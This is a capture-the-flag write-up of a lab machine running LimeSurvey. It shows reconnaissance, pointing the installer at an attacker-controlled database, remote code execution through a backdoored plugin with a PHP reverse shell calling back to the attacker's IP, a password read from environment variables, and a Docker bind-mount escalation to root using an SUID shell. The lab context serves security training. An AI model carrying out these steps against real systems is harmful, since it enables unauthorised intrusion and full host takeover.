Machine details#
Machine | OS | Difficulty |
---|---|---|
Forgotten | Linux | Easy |
Reconnaissance#
TCP scan:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
TCP script scan:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:52:a4:cf:2c:72🆎f2:fd:29:4d:9a:2d:d7:ad:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJi2eqVlybXNbKn6PRL7llVCOiSdOqzvpsH+MrhG10yrccKRk5nUx8kJ+VjaU1h5yOIJt1f+Aq7xiwGUrQ1W0bc=
| 256 9b:5f:86:f9:48:ea:0c:18:8f:9b:c5:fa:36:f6:37:8c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBsfJC+Ck+W9BvUFhcy5VXYqB69UXnkS81MAwFcEpAZe
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Given the open ports, I tried to find something interesting on the HTTP service with
:: Method : GET
:: URL : http://10.10.76.47:80/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 589ms]
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 590ms]
.hta [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1165ms]
[Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1754ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 6ms]
survey [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 5ms]
:: Progress: [4614/4614] :: Job [1/1] :: 97 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
SITREP#
- 2 open TCP ports, 22 con OpenSSH e 80 con Apache 2.4.56.
- There’s an uncommon directory on the HTTP service
survey
.
HTTP analysis#
Browsing survey
directory brought me to LimeSurvey installer, where I got the running version number: 6.3.7
and a few other information about the platform.
Context: LimeSurvey is an open source survey tool having both community and paid version ( https://community.limesurvey.org/).
Known vulnerabilities
Looking for known vulnerabilities on the web, I immediately found the platform in the version 5.2.x is prone to a RCE vulnerability via the authenticated and privileged upload of a backdoored plugin. On Exploit DB there is this reference https://www.exploit-db.com/exploits/50573 and on GitHub it is available a repo from the author: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.
Going on
Looking through the data presented at the page I got, I found few other directories, but each one gave me a 403 HTTP status code. Having finished the ideas, I followed the installation process which lead me to the DB creation page where I had to insert various info such as:
- DB Address.
- DB user.
- DB user’s password.
I put some data such as localhost
, root
, root
, etc., but the creation failed and showed me errors such as the following:
Please fix the following input errors:
- Try again! Connection with database failed.
- Reason: CDbConnection failed to open the DB connection.
- Try again! Creation of database failed.
- Could not create database: CREATE DATABASE 'limedb' [...]
Setting up my DB service
After a trial and error phase, I had the idea to set up a DB on my attacker machine and point the configuration to it. Buuuut, I’m quite lazy, and since we have access to some interesting technology know as LLMs, I gently asked ChatGPT to create me a script to do all the necessary based on the LimeSurvey guide: https://manual.limesurvey.org/Installation_-_LimeSurvey_CE.
The following was the pretty bad prompt I gave to ChatGPT:
I’m on kali linux, I have to create a mariadb DB for Limesurvey. The DB user must have these privileges SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX. I need to do it using a bash script.
And this is the bash script it generated, and which worked out of the box:
#!/bin/bash
# Configuration
DB_NAME="limesurveydb"
DB_USER="limesurveyuser"
DB_PASSWORD="lime"
BIND_ADDRESS="0.0.0.0" # Change this to a specific IP address if needed
REMOTE_IP="%" # Change this to the specific remote IP or use '%' for all IPs
# Function to check the success of each operation
check_success() {
if [ $? -ne 0 ]; then
echo "Error during: $1"
exit 1
fi
}
# Update the system and install MariaDB Server
echo "Updating the system and installing MariaDB Server..."
sudo apt update
sudo apt install -y mariadb-server
check_success "MariaDB Server installation"
# Configure MariaDB to listen on all network interfaces
echo "Configuring MariaDB to listen on all network interfaces..."
sudo sed -i "s/^bind-address.*/bind-address = $BIND_ADDRESS/" /etc/mysql/mariadb.conf.d/50-server.cnf
check_success "Updating bind-address"
# Restart MariaDB service to apply changes
echo "Restarting MariaDB service..."
sudo systemctl restart mariadb
check_success "MariaDB restart"
# Create the MariaDB database and user
echo "Creating MariaDB database and user..."
sudo mariadb -u root -e "
CREATE DATABASE $DB_NAME;
CREATE USER '$DB_USER'@'$REMOTE_IP' IDENTIFIED BY '$DB_PASSWORD';
GRANT SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX ON $DB_NAME.* TO '$DB_USER'@'$REMOTE_IP';
FLUSH PRIVILEGES;"
check_success "Database and user creation"
# Optionally configure the firewall to allow traffic on port 3306
echo "Configuring firewall to allow traffic on port 3306..."
sudo ufw allow 3306/tcp
check_success "Firewall configuration"
echo "Installation and configuration completed successfully!"
Once executed the script, I configured the LimeSurvey with my data. Then, I proceeded with the installation to the point I had to configure an admin account to log into the application after the installation. I tested the admin account and it worked.
SITREP#
- I own the DB where the platforms points to.
- I have admin access to the platform.
- I know about the RCE vulnerability exploitable post-authentication with an admin account.
Initial access#
The natural move I followed was to test the exploit found earlier ( https://github.com/Y1LD1R1M-1337/Limesurvey-RCE. While checking at the mode, I adapted it to the context I was in. Basically, I did two very little changes:
- On
config.xml
I added the current version to the compatible ones:
[...]
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.3.7</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
[...]
- Then, I modified IP and PORT on the PHP reverse shell code pointing to mine:
[...]
$ip = '10.8.1.200'; // CHANGE THIS
$port = 8000; // CHANGE THIS
[...]
After it, I had to zip together both files to upload the ZIP archive at the URL http://10.10.127.179/survey/index.php/admin/pluginmanager?sa=index
. Once uploaded, I proceeded with the installation, and finally I had to activate it in order to actually test it (The activation is available by expanding the 3-dot menu and click on Activate).
Show time
The final steps to test the exploitation was:
- Setting up a listener with the port I configured within the revshell file.
- Requesting the revshell by issuing a GET request to the URL
http://10.10.127.179/survey/upload/plugins/Y1LD1R1M/php-rev.php
.
…And it worked flawlessy:
$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.8.1.200] from (UNKNOWN) [10.10.127.179] 36416
Linux efaa6f5097ed 6.2.0-1012-aws #12~22.04.1-Ubuntu SMP Thu Sep 7 14:01:24 UTC 2023 x86_64 GNU/Linux
20:47:18 up 46 min, 0 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$
Host discovery#
A seconds after the callback, I saw the docker id Linux efaa6f5097ed 6.2.0-1012-aws
and double checked if there was the .dockerenv
file on the root:
$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Dec 2 2023 .
drwxr-xr-x 1 root root 4096 Dec 2 2023 ..
-rwxr-xr-x 1 root root 0 Dec 2 2023 .dockerenv
[...]
Well, another docker.
So I checked the env
values, and I got limesvc
password which worked for the SSH!
[...]
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PWD=/home/limesvc
[...]
I killed the shell popped on ncat, and continued with SSH.
SITREP#
- The exploit worked.
- The host I got into is a docker container.
- I have
limesvc
password.- I have access via SSH with
limesvc
.
Privilege escalation#
Docker out, SSH in#
By using SSH, I got into the host. Before anything else this was confirmed by the available interfaces and the missing of .dockerenv
on the root. I spent a fair amount of time looking through configs, logs, permissions, etc. Then, I decided to go back to the docker just to give a more thorough check (I literally launched the two commands stated earlier).
SSH out, Docker in#
Once back into the docker via the LimeSurvey exploitation, I fixed a bit the TTY by issuing script -q /dev/null -c bash
just to see that the docker user was a command way from root
:
limesvc@efaa6f5097ed:/$ sudo -l
sudo -l
[...]
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
limesvc@efaa6f5097ed:/$
While I was looking at the docker configuration, I saw the mounting point for docker with findmnt
:
root@efaa6f5097ed:/# findmnt
findmnt
TARGET SOURCE FSTYPE OPTIONS
[...]
|
|
`-/var/www/html/survey /dev/root[/opt/limesurvey] ext4 rw,relatime,discard,e
root@efaa6f5097ed:/#
Basically, it means that the docker folder /var/www/html/survey
corresponds to the host folder /opt/limesurvey
. To confirm this, it is enough to create a file on the docker via the reverse shell session, then check its presence on the host via the SSH session:
### Docker
root@efaa6f5097ed:/var/www/html/survey# mkdir test-from-docker
mkdir test-from-docker
root@efaa6f5097ed:/var/www/html/survey#
### Host
limesvc@ip-10-10-200-233:/opt/limesurvey$ ls -la test-from-docker
total 8
drwxr-xr-x 2 root root 4096 Aug 15 20:55 .
drwxr-xr-x 16 limesvc limesvc 4096 Aug 15 20:55 ..
Other than having a confirmation about it, the folder has been created with root
privileges too.
It is important to understand why it happened. This is due to at least two main reasons:
- By default, Docker does not automatically map user and group IDs between the host and the container, which causes users on both sides who have the same ID to write files that will belong to each other.
- On Linux, the user
root
has always the same ID, which is0
by the way.
So, in this context, this mean I can write on the host files belonging to root
, and modifying them as root
.
User namespace Remapping#
To mitigate the risk derived from using standard user and group IDs, Docker has a functionality which helps us to separate the container users from the host users. Keeping it simple: it will remap the container user ID to ad-hoc created host user ID that do not have any particular privilege.
Obviously this augments a bit the complexity for sysadmins and devs, and it is not always doable, but it’s important to know that a mitigation is available out there :) More on the topic here:
Root access on the host#
To gain a root shell on the host and being a root on the Docker, I did the following:
From reverse shelI session
- I copied a shell binary on the
/var/www/html/survey
folder. - I gave to it the SUID bit.
From SSH session
- I just run the copied binary with the switch
-p
to actually use it as root, and got the root shell.
### Docker session
root@efaa6f5097ed:/var/www/html/survey# cp /bin/sh open
cp /bin/sh open
root@efaa6f5097ed:/var/www/html/survey# chmod u+s open
chmod u+s open
### Host session
limesvc@ip-10-10-200-233:/opt/limesurvey$ ./open -p
# whoami
root
Then, to gain full access I added my public key to root’s authorized keys giving me access via SSH:
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" [email protected] -i id_rsa
root@ip-10-10-200-233:~# whoami;hostname;cat root.txt
root
ip-10-10-200-233
VL{*Thanks Vulnlab*}